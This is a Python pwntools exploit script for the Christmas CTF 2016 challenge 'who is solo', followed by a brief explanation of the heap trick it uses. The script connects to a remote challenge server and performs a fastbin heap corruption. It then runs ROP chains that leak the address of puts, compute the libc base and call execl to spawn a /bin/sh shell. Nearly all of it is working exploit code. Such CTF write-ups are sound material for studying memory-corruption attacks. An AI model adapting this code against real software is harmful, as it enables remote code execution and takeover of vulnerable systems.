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Christmas CTF 2016 who is solo
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from pwn import * | |
HOST, PORT = '0.0.0.0', 20000 | |
HOST, PORT = '52.175.144.148', 9901 | |
r = remote(HOST, PORT) | |
size = 0x60 | |
target = 0x602070 + 5 | |
r.send('1\n1\n%d\n' % size) | |
r.recvuntil('Data: ') | |
r.send('\n') | |
r.recvuntil('$ ') | |
r.send('2\n1\n') | |
r.recvuntil('$ ') | |
r.send('201527\n') | |
r.recvuntil('Data: ') | |
r.send(p64(target - 8)) | |
for i in range(2): | |
r.recvuntil('$ ') | |
r.send('1\n1\n%d\n' % size) | |
r.recvuntil('Data:') | |
r.send('\n') | |
r.recvuntil('$ ') | |
r.send('201527\n') | |
r.recvuntil('Data: ') | |
payload = 'a' * 10 | |
cmd = '/bin/sh' | |
r.send(payload + cmd) | |
r.recvuntil('$ ') | |
r.send('4\n') | |
r.recvuntil('Input password: ') | |
rdi = lambda x: p64(0x4008a0) + p64(x) | |
rsi_r15 = lambda x, y: p64(0x400d11) + p64(x) + p64(y) | |
rop = 'a' * 1032 + rdi(0x602020) + p64(0x400600) + p64(0x400680) | |
r.send(rop) | |
r.recvuntil('$ ') | |
r.send('-1\n') | |
data = r.recvline()[:-1] | |
puts = u64(data.ljust(8, '\x00')) | |
libc_base = puts - 0x6fd60 | |
execl = libc_base + 0xc14a0 | |
print `data` | |
r.recvuntil('$ ') | |
r.send('4\n') | |
r.recvuntil('Input password: ') | |
rop = 'a' * 1032 + rdi(target + 8 + len(payload)) + rsi_r15(0, 0) + p64(execl) | |
r.send(rop) | |
r.recvuntil('$ ') | |
r.send('-1\n') | |
r.interactive() |
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Basically it's like
a = malloc(0x60);
free(a);
ptr = target_address;
*a = ptr - 0x10;
and *ptr is 0x78 ~ 0x7f.